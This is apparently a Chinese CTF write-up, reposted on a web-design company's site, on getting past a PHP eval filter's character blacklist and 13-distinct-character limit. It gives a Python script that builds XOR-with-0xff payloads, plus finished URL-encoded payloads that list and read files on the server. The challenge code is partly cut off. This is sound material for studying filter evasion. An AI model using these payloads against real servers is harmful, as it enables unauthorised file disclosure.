如何看待php與bypass,針對這個問題,這篇文章詳細介紹了相對應(yīng)的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
創(chuàng)新互聯(lián)的團隊成員不追求數(shù)量、追求質(zhì)量。我們經(jīng)驗豐富并且專業(yè),我們之間合作時就好像一個人,協(xié)同一致毫無保留。成都創(chuàng)新互聯(lián)珍視想法,同時也看重過程轉(zhuǎn)化帶來的沖擊力和影響力,在我們眼中,任何細節(jié)都不容小覷。一直致力于為企業(yè)提供從域名注冊、網(wǎng)站策劃、網(wǎng)站設(shè)計、商城網(wǎng)站定制開發(fā)、網(wǎng)站推廣、網(wǎng)站優(yōu)化到為企業(yè)提供個性化軟件開發(fā)等基于互聯(lián)網(wǎng)的全面整合營銷服務(wù)。
代碼如下
0xd ) die('you are so close, omg'); eval($_); ?>
前面的那個正則過濾大概就是過濾了下面的這些字符,借鑒師傅博客
\x00- 0-9 匹配\x00到空格(\x20),0-9的數(shù)字 '"`$&.,|[{_defgops 匹配這些字符 \x7F 匹配DEL(\x7F)字符
而下面的這個if語句實現(xiàn)的效果是,所傳入的變量里面的所有不同的字符的個數(shù)不能超過十六進制的0xd
也就是十進制的13
,就是payload里面所有字符的總數(shù)不能超過13個就可了。
然后就是如何bypass了,這里可以看到并沒有過濾到^
,~
這兩個字符,所以可以使用取反繞過試一試,
但是一般情況下可以先寫個腳本看看還有那些函數(shù)是可以用的。php可用方法fuzz腳本
0xd ) continue; print($arr.'
'); }
所的結(jié)果如下
rtrim trim ltrim chr link unlink tan atan atanh tanh intval mail min max
雖然這里沒什么能用的,但是這個fuzz的腳本還是很有啟發(fā)性的,遇到bypass的時候可以先用這樣的腳本試一試是不是能夠直接用某些危險方法。
這里直接使用取反的那個操作,下面是代碼。
雖然出來了,但是其實沒啥用,因為
phpinfo();
本來的字符數(shù)就沒有超過13個,接下來就是縮短字符數(shù)與看未被禁用的函數(shù)了,下面是被disabled的方法pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,我就認識三個可以命令執(zhí)行的方法,但是沒過濾掃目錄的函數(shù)
scandir()
,還有讀文件的函數(shù)readfile()
,還有打印變量信息的函數(shù)var_dump()
,我借鑒的那個wp里面用的是用多次使用^
和()
來異或的方式,這里我也這么做,但是條條大路通羅馬,肯定還有不少其他方法,這里就不復(fù)現(xiàn)了,遇到了再說吧。bypass腳本實現(xiàn)
這里我們想傳入的變量信息是這樣的
print_r(scandir('.'));可以看看有多少個字符
表面上是15個字符,但是其實還有
^
也要用,就是16個了,參考腳本result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c] # Original chars,11 total result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c] # to be deleted temp = [] for d in result2: for a in result: for b in result: for c in result: if (a ^ b ^ c == d): if a == b == c == d: continue else: print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d)) if d not in temp: temp.append(d) print(len(temp), temp)這個就是用幾個有的替代要刪掉的就行。然后還有個跟
%ff
異或的問題,就是一個字符的十六進制形式與0xff
進行兩次異或之后還是原來的字符,而與0xff(int值為255)進行一次異或之后一般是ascii碼值大于128的不可見字符,然后^字符不會被過濾的話,就能實現(xiàn)bypass
,所以根據(jù)這個原理有下面的生成payload的腳本(借鑒了一些之后原創(chuàng)的嗷,就是沒實現(xiàn)自動化生成payload,要手動添加)
# -*- coding: utf-8 -*-# # ------------------------------------------------------------------------------- # Name: ctf # Description: 復(fù)現(xiàn)腳本 # Author: M4XLMUM # Date: 2021/4/12 # ------------------------------------------------------------------------------- import operator # s = ['print_r', 'scandir', '.'] # 更換成為想要的字符串 s = ['readfile', 'end', 'scandir', '.'] # 更換成為想要的字符串 ans = {} pattern = [] s2 = '' # 需要進行替換的字符, 假設(shè)只對出現(xiàn)一次的字符串進行替換。 # 統(tǒng)計s列表中的字符的出現(xiàn)次數(shù) for j in ''.join(s): ans[j] = ''.join(s).count(j) for i in ans.keys(): ans[i] = hex(int(hex(ord(i)), 16) ^ 0xff).replace('0x', '%') keys = ans.keys() for i in keys: for j in keys: for k in keys: for m in keys: if ord(j) ^ ord(k) ^ ord(m) == ord(i): if j == k or j == m or m == k: continue else: flag = 1 for temp in pattern: if i in temp and j in temp and k in temp and m in temp: flag = 0 if flag: pattern.append(i+j+k+m) '''經(jīng)測試,此塊無用geigeigei # 對幾對一組的字符串中字符出現(xiàn)次數(shù)進行排序,并找出需要進行替換的字符`s2` temp = {} for i in ''.join(pattern): npattern[i] = ''.join(pattern).count(i) # npattern = sorted(temp.items(), key=operator.itemgetter(1)) for i in npattern: if npattern[i] == 1: s2 += i # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ''' print(pattern) # 打印出pattern之后自己識別需要替換哪一個字符。 ''' 懶得寫自動化腳本了,我的小腦子想不太出來 這里的四個字符組成一組的原理實際上就是采用了異或計算的性質(zhì),即四個字符中,如果任意三個字符的異或等于另一個,那么這四個字符中任意三個的異或等于另一個字符。 這里的結(jié)果是:['prca', 'ints', 'incd', 'tscd'] 那需要替換的可以是:p == r^c^a, i == n^c^d, t == s^c^d ''' # 替換字符為十六進制的形式 # temp = {'p': 'rca', 'i': 'ncd', 't': 'scd'} temp = {'r': 'eds', 'a': 'dfc', 'd': 'fln', 'i': 'flc'} rtable = {} # 需要進行替換的表(已轉(zhuǎn)為十六進制) for i in temp: tempkey = hex(int(hex(ord(i)), 16) ^ 0xff).replace('0x', '%') tempvalue = '' for k in temp[i]: tempvalue += hex(int(hex(ord(k)), 16) ^ 0xff).replace('0x', '%') rtable[tempkey] = tempvalue for i in s: temp1 = '' temp2 = '' temp3 = '' temp4 = '' for j in i: temp0 = hex(int(hex(ord(j)), 16) ^ 0xff).replace('0x', '%') if temp0 in rtable: temp1 += rtable[temp0][:3] temp2 += rtable[temp0][3:6] temp3 += rtable[temp0][6:9] temp4 += '%ff' else: temp1 += temp0 temp2 += '%ff' temp3 += '%ff' temp4 += '%ff' payload = '(' + temp1 + ')^(' + temp2 + ')^(' + temp3 + ')^(' + temp4 + ')' print(payload) # payload1: print_r(scandir(.)); # payload1: (print_r)((scandir)(.)); # payload1: ((%8d%8d%91%91%8c%a0%8d)^(%9c%ff%9c%ff%9c%ff%ff)^(%9e%ff%9b%ff%9b%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%91%8d)^(%ff%ff%ff%ff%ff%9c%ff)^(%ff%ff%ff%ff%ff%9b%ff)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff))); # payload2: readfile(end(scandir(.))); # payload2: (readfile)((end)((scandir)(.))); # payload2: ((%9a%9a%9b%99%99%99%93%9a)^(%9b%ff%99%93%ff%93%ff%ff)^(%8c%ff%9c%91%ff%9c%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%9a%91%99)^(%ff%ff%93)^(%ff%ff%91)^(%ff%ff%ff))(((%8c%9c%9b%91%99%99%9a)^(%ff%ff%99%ff%93%93%9b)^(%ff%ff%9c%ff%91%9c%8c)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff)))); ''' 上面的payload之所以多加了許多括號是因為要防止異或之后連在一起,反正加個括號也不多的樣子 '''故可總結(jié)payload如下
# payload1: print_r(scandir(.)); # payload1: (print_r)((scandir)(.)); # payload1: ((%8d%8d%91%91%8c%a0%8d)^(%9c%ff%9c%ff%9c%ff%ff)^(%9e%ff%9b%ff%9b%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%91%8d)^(%ff%ff%ff%ff%ff%9c%ff)^(%ff%ff%ff%ff%ff%9b%ff)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff))); # payload2: readfile(end(scandir(.))); # payload2: (readfile)((end)((scandir)(.))); # payload2: ((%9a%9a%9b%99%99%99%93%9a)^(%9b%ff%99%93%ff%93%ff%ff)^(%8c%ff%9c%91%ff%9c%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%9a%91%99)^(%ff%ff%93)^(%ff%ff%91)^(%ff%ff%ff))(((%8c%9c%9b%91%99%99%9a)^(%ff%ff%99%ff%93%93%9b)^(%ff%ff%9c%ff%91%9c%8c)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff))));第一個payload暴露出當(dāng)前路徑下的文件,第二個payload讀當(dāng)前路徑下的最后一個文件。
bypass原理
上面的腳本的bypass的原理可以分成兩個來說
首先,異或繞過
這個很簡單,就是使用payload的十六進制與
0xff
進行異或(并將結(jié)果的0x換為%)
,因為異或計算的性質(zhì),一個十六進制與0xff``(這里的0xff實際上可以是任何的其他值應(yīng)該)
進行兩次異或之后等于原來的值。其次,字符限制繞過
這個操作上是將payload的字符串里面的字符替換為本來字符串內(nèi)還有的其他的字符串的值的異或,例如payload為
print_r(scandir(.));
時,有下面的等價關(guān)系p == r^c^a, i == n^c^d, t == s^c^d
,就這樣替換。再從異或?qū)用娼忉屧砭褪?,一個字符的十六進制與
0xff
進行四次異或之后還是它本身,總之就是偶數(shù)次異或之后一定等于原來的字符。關(guān)于如何看待php與bypass問題的解答就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道了解更多相關(guān)知識。
當(dāng)前名稱:如何看待php與bypass
分享鏈接:http://weahome.cn/article/pjsdos.html